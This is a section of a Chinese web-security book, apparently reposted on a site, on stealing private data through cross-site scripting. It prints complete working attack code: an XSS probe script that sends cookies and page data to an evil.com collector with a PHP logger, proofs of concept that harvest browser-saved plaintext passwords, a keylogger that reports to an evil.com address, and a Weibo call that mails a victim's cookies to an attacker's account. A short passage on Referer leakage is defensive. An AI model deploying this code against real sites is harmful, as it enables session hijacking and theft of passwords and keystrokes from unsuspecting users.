7.2 偷取隐私数据
在进行跨站攻击的过程中,当需要偷取数据时(比如Cookies、页面隐私内容等),就要考虑通过怎样的DOM操作提取数据,然后通过怎样的请求方式将数据发送出去。我们在2.5节中说过DOM操作与请求操作,在请求操作上,如果数据很少,可以通过Image对象,如果数据很多,可通过表单自提交或跨域AJAX提交等,只要请求能发出去,数据就能偷到手。
下面介绍一些偷取数据的技巧。
7.2.1 XSS探针:xssprobe
首先介绍我们在GitHub上开源了一个小工具xssprobe,其网址为:https://github.com/ evilcos/xssprobe。
1. 功能说明
在跨站渗透的过程中,我们打造了xssprobe这个小工具,通过它可以获取目标页面的通用数据,包括的数据信息如表7-1所示。
表7-1 xssprobe获取的数据类型说明
利用这些通用数据,有时能让我们直接获取目标用户的权限(通过Cookies利用),如果Cook-ies无效,至少还能得到其他有意义的数据,比如,目标用户是某CMS的管理员,那么通过location、toplocation或referer可以得到后台地址,通过其他信息则可以辅助判断目标用户的习惯。
2. 实现
我们来看看xssprobe是如何实现的,这个工具由两个文件组成:probe.js与probe.php,其中浏览器端的probe.js通过JavaScript获取表7-1中的信息并整理好,然后发给服务端的probe.php。probe.php对得到的信息进行一些安全编码操作,并存储为本地文件。下面看看详细的代码。
probe.js的代码如下:
// 获取隐私信息的服务端页面,这里需配置为自己的probe.php网址 http_server = "http://www.evil.com/xssprobe/ probe.php?c="; var info = {}; // 隐私信息字典 info.browser = function(){ // 检测浏览器类型与版本 ua = navigator.userAgent.toLowerCase(); var rwebkit = /(webkit)[ \/]([\w.]+)/; var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/; var rmsie = /(msie) ([\w.]+)/; var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/; var match = rwebkit.exec( ua ) || ropera.exec( ua ) || rmsie.exec( ua ) || ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || []; return {name: match[1] || "", version: match[2] || "0"}; }(); info.ua = escape(navigator.userAgent); info.lang = navigator.language; info.referrer = document.referrer; info.location = window.location.href; info.toplocation = top.location.href; info.cookie = escape(document.cookie); info.domain = document.domain; info.title = document.title; info.screen = function(){ // 获取屏幕分辨率 var c = ""; if (self.screen) { c = screen.width+"x"+screen.height;} return c; }(); info.flash = function(){ // 检测Flash的版本信息 var f="",n=navigator; if (n.plugins && n.plugins.length) { for (var ii=0;ii<n.plugins.length;ii++) { if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) { f=n.plugins[ii].description.split('Shockwave Flash ')[1]; break; } } } else if (window.ActiveXObject) { for (var ii=10;ii>=2;ii--) { try { var fl = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');"); if (fl) { f=ii + '.0'; break; } } catch(e) {} } } return f; }(); function json2str(o) { // 将json格式的数据转为字符串形式 var arr = []; var fmt = function(s) { if (typeof s == 'object' && s != null) return json2str(s); return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s; } for (var i in o) arr.push("'" + i + "':" + fmt(o[i])); return '{' + arr.join(',') + '}'; } window.onload = function(){ var i = json2str(info); new Image().src = http_server + i; // 发送 }
probe.php代码如下:
<?php @header("Content-Type:text/html;charset=utf-8"); function get_real_ip(){ // 获取真实的IP $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; } for ($i = 0; $i < count($ips); $i++) { if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) { $ip = $ips[$i]; break; } } } return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); } function get_user_agent(){ // 服务端获取User-Agent return $_SERVER['HTTP_USER_AGENT']; } function get_referer(){ // 服务端获取Referer return $_SERVER['HTTP_REFERER']; } function quotes($content){ if(get_magic_quotes_gpc()){ if(is_array($content)){ foreach($content as $key=>$value) { $content[$key] = stripslashes($value); } } else { $content = stripslashes($content); } } else {} return $content; } if (!empty($_REQUEST["c"])){ $curtime = date("Y-m-d H:i:s"); $ip = get_real_ip(); $useragent = get_user_agent(); $referer = get_referer(); $data = $_REQUEST["c"]; if(!file_exists("probe_data.html")){ $fp = fopen("probe_data.html", "a+"); fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>probe data</title><style>body{font-size:13px;}</style></head>'); fclose($fp); } $fp = fopen("probe_data.html", "a+"); // 将得到的信息存储为本地文件probe_data.html fwrite($fp, "$ip | $curtime <br />UserAgent: " . htmlspecialchars(quotes($useragent)) . "<br />Referer: " . htmlspecialchars(quotes($referer)) . "<br />DATA: " . htmlspecialchars(quotes($data)) . "<br /><br />"); fclose($fp); } ?>
信息存储文件probe_data.html的数据样例如下:
221.19.32.7 | 2011-08-22 14:36:08 UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Referer: http://www.foo.com/xssprobe/demo.html DATA: {'browser':{'name':'mozilla','version':'6.0'},'ua':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0','lang':'zh-CN','referrer': 'http://www.foo.com/xssprobe/','location':'http://www.foo.com/xssprobe/demo.html','toplocation':'http://www.foo.com/xssprobe/demo.html','cookie':'xssprobe=1; popunder=yes; popundr=yes; setover18=1','domain':'www.foo.com','title': 'xssprobe demo page<script>alert(1)</script>','screen':'1440x900','flash':'10.3 r181'}
这个过程很简单,却很有效。不过有的场景可能无法直接使用xssprobe,比如,有些黑盒的CMS系统,我们没有获取XSS漏洞,也不知道管理员后台地址是什么,此时可以诱骗管理员(通过提交留言、管理员后台查看留言等方式)访问probe.php?c=test文件地址,这时可以在probe.php中获取到IP地址、User-Agent、Referer等信息。其中,Referer信息很可能就是后台地址。
通过xssprobe得到这些通用信息后,就可以进入下一步渗透测试了。当然,跨站渗透有时是可以一步搞定目标的,具体情况要依据渗透场景进行具体分析。
7.2.2 Referer惹的祸
7.2.1节提到了Referer,本节继续重点介绍它,之前我们的一些文章也描述了Referer的风险,下面整理摘录如下。
Referer指请求来源,很多网站通过这个来判断用户是从哪个页面/网站过来的。Referer是公开的,故不可在Referer中存在与身份认证或者其他隐私相关的信息,但很多网站设计之初没考虑到Referer的风险性,从而导致出现了安全问题,有些可能现在没问题,但是以后随着业务的发展,网站功能增多,安全问题就会出现。
下面列举几个使用场景。
1. 手机浏览器上的Web世界
比如,人人网3g网站曾经存在的身份认证缺陷,3g.renren.com的认证是采用URL后带“认证token”方式进行的,攻击者可以使用几种途径获取认证token,比如,发一篇文章,文章中通过<img>标签嵌入xssprobe的probe.php?c=test文件,诱导被攻击者访问这篇文章,被攻击者的Referer就会被记录下来,认证token也就泄漏了。
2. 一些网银
比如,某网银就是将身份认证信息直接嵌入URL中那个所谓的sid号,只要能获取到这个sid号,就等于获得了网银的权限,获取sid号有几种方式,其中有一种是Referer泄漏(由于网银不存在用户交互的问题,Referer泄漏不容易,除非以后有这样的可能性,不过通过劫持网银的其他子域,也能得到这个Referer)。
还有一些其他场景(如上一节说的Web黑盒渗透)。Web厂商需要注意Referer泄漏隐私的风险,可以考虑如下方式来进行Referer的保护:
· 如果当前页面不存在任何第三方域的链接,可以不用担心Referer泄漏隐私的问题;否则,要么改进网站的一些安全性架构,不要在URL中直接带上隐私数据;要么,在点击第三方域链接的时候进行中间跳转,首先跳转到自己的信任域内统一的功能页面上,这个页面专门作为往外跳转的“桥页”(URL中已经不存在隐私数据),然后这个“桥页”采用客户端跳转(meta跳转或JavaScript跳转),这样就能避免Referer泄漏的问题。
· HTML5草案推荐的rel="noreferrer"属性,可以让请求不带Referer,不过目前仅在We-bKit内核浏览器(如Chrome)中得到支持,但这会是一种趋势,Web厂商可以考虑针对第三方域的链接统一添加如下属性:
<a href="http://www.evil.com/" rel="noreferrer">noreferrer!</a>
7.2.3 浏览器记住的明文密码
这个技巧算是比较新的技巧,2010年时,各浏览器开始逐渐加入“记住密码”的功能(这些浏览器包括Firefox、Chrome、IE、Opera、Safari等),记住密码不同于老方式“记住登录状态”。“记住登录状态”主要是设置了持久型的Cookie,这和浏览器没关系,而是Web服务自己设置的。其实在有“记住密码”功能之前,浏览器还做了一件类似的事,就是记住表单内容。与记住表单内容相比,记住密码更危险,因为通过DOM操作就能获取其中的密码,而且是明文。
现在主流的浏览器都加入了这个功能,以uchome为例进行说明,如图7-1所示。当单击“登录”按钮时,浏览器会提示记住密码,如图7-2至图7-4所示。
图7-1 uchome登录
图7-2 IE浏览器记住密码
图7-3 Firefox浏览器记住密码
图7-4 Chrome浏览器记住密码
很多用户为了方便下次直接登录而不输入用户名和密码,就会选择记住。这样明文密码就被浏览器保存在当前域下,此时跨域是不能获取到这个明文密码的,那么怎样才能获取这些密码呢?
下面来看看怎么进行DOM操作来获得明文密码。
当包含密码表单项的网页被加载渲染后,浏览器就会开始将记住的明文密码填充进对应的密码表单项,由于是密码表单项,我们肉眼看到的会是一串星号,而直接查看网页源码将什么都看不到,因为这是一个动态填充的过程。由于DOM操作本身就可以是一个动态的过程,我们只要在密码表单项被渲染且浏览器填充好明文密码后执行DOM操作获取密码表单项的值即可。下面开始构造出我们的POC。
针对IE浏览器的POC代码如下:
get_pwd = function () { /*获取明文密码*/ var e = document.createElement("input"); e.name = e.type = e.id = "password"; document.getElementsByTagName("head")[0].appendChild(e); // 往head添加就隐藏了 setTimeout(function () { alert("i can see ur pwd: " + document.getElementById("password"). value); }, 2000); // 时间竞争 }
从这个POC可以看出,只要动态创建一个type="password",并且name和id值与目标密码表单项一致就行,然后就是一个时间竞争,延时2秒是假设从页面被加载到浏览器完成了明文密码填充的时间。
不过这个POC在其他浏览器下就无效了,浏览器不填充,为什么?因为还需要满足一些条件才行,来看看Firefox下的POC代码:
get_pwd = function () { /*获取明文密码*/ var f = document.createElement("form"); document.getElementsByTagName("head")[0].appendChild(f); var e1 = document.createElement("input"); e1.type = "text"; e1.name = e1.id = "username"; f.appendChild(e1); var e = document.createElement("input"); e.name = e.type = e.id = "password"; f.appendChild(e); setTimeout(function () { alert("i can see ur pwd: " + document.getElementById("password"). value); }, 2000); // 时间竞争 }
可以看到,必须先创建一个form对象才行,否则这些浏览器会认为不合法,这个POC在Chrome中同样有效,但是Safari下又有一点不一样,只要将form对象添加到body标签中就可以,如果添加到head标签,Safari不会填充明文密码,而且Safari默认是不开启记住密码功能的。
POC出来后,就可以在XSS利用中使用该POC获取用户的明文密码,由于不同的Web环境下的密码表单项不太一样,此时只要修改相关的表单项值就行。
这方面还有更多深入的研究,可以参考我们在Ph4nt0m Webzine 0x06里的文章《XSS Hack:获取浏览器记住的明文密码》。
7.2.4 键盘记录器
键盘记录器实际上用处并不大,还不如劫持表单项的各种事件方便,比如,表单项的onchange、onblur、onclick等,当发现这些事件后,就将表单项里的值取到,而且键盘记录仅在全英文(ASCII)输入情况下有效,在输入时,存在中文输入框,是记录不了击键事件的。下列代码说明的是浏览器兼容性比较好的键盘记录器,如果真的要更完美,需要融入表单项等事件监听机制。
var steal_url = "http://www.evil.com/xss/steal.php?data="; // 键盘记录发送地址 var keystring = "";//键盘记录的字符串 function keypress(e){ // onkeypress时的操作 var currKey=0,CapsLock=0,e=e||event; currKey=e.keyCode||e.which||e.charCode; CapsLock=currKey>=65&&currKey<=90; switch(currKey) { case 8: case 9: case 13: case 32: case 38: case 39: case 46: keyName = ""; break; default: keyName = String.fromCharCode(currKey); break; } keystring += keyName; } function keydown(e){ // onkeydown时的操作 var e=e||event; var currKey=e.keyCode||e.which||e.charCode; if((currKey>7&&currKey<14)||(currKey>31&&currKey<47)) { switch(currKey){ case 8: keyName = "[LF]"; break; case 9: keyName = "[TAB]"; break; case 13: keyName = "[CR]"; break; case 32: keyName = "[SPACE]"; break; case 33: keyName = "[PageUp]"; break; case 34: keyName = "[PageDown]"; break; case 35: keyName = "[End]"; break; case 36: keyName = "[Home]"; break; case 37: keyName = "[LEFT]"; break; case 38: keyName = "[UP]"; break; case 39: keyName = "[RIGHT]"; break; case 40: keyName = "[DOWN]"; break; case 46: keyName = "[DEL]"; break; default: keyName = ""; break; } if (keyName=='[CR]'){ // 如果是回车键,则提交键盘记录 //......省略发送请求:steal_url+keystring } keystring += keyName; } } function keyup(e){ // onkeyup时的操作 return keystring; } function blur(){ // onblur时的操作,离开焦点 // ...省略发送请求:steal_url+keystring } function bindEvent(o, e, fn){ // 绑定事件的通用函数 //o 绑定的标签对象 //e 绑定的事件 //fn 绑定后执行的函数 if (typeof o == "undefined" || typeof e == "undefined" || typeof fn == "undefined" || o == null){ return false; } if (o.addEventListener){ o.addEventListener(e, window[fn], false); } else if (o.attachEvent){ // IE o.attachEvent("on"+e, window[fn]); } else { var oldhandler = o["on"+e]; if (oldhandler) { o["on"+e] = function(x){ oldhandler(x); window[fn](); } } else { o["on"+e] = function(x){ window[fn](); } } } o.focus(); } o=document; // 要监听的对象可以是整个document或某个表单项 bindEvent(o,'keypress',"keypress"); bindEvent(o,'keydown',"keydown"); bindEvent(o,'keyup',"keyup"); bindEvent(o,'blur',"blur");
7.2.5 偷取黑客隐私的一个小技巧
如果要偷取黑客/安全人员(假设他们用Fire-fox+NoScript插件)的隐私数据,如果有任何第三方域的请求,估计很容易被NoScript拦截,这时用的方法是:要么绕过NoScript(不总那么容易),要么就不要提交到第三方域,提交到本域是个不错的想法,比如,像曾经百度空间的私信功能,通过简单的接口就可以直接调用,一个GET请求就将数据存储到指定的账号私信里。还有一个更普遍的方法,现在很多网站都用JavaScript封装了烦琐的操作,比如,仅需要一个简单的函数就能提交目标请求,如新浪微博提交私信的一种简洁方式:
STK.core.io.ajax({method:'POST',url:'http://www.weibo.com/aj/message/add', args:{text:document.cookie.substr(0,300),screen_name:'%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91'}})
格式化说明下:
STK.core.io.ajax({ method: 'POST', // POST请求 url: 'http://www.weibo.com/aj/message/add', // 发送私信的地址 args: { // POST参数 text: document.cookie.substr(0, 300), // 消息内容长度不允许超过300字符 screen_name: '%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91' // 发送到的目标账号 } })
如果这样做,等目标黑客发现后就来不及了。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论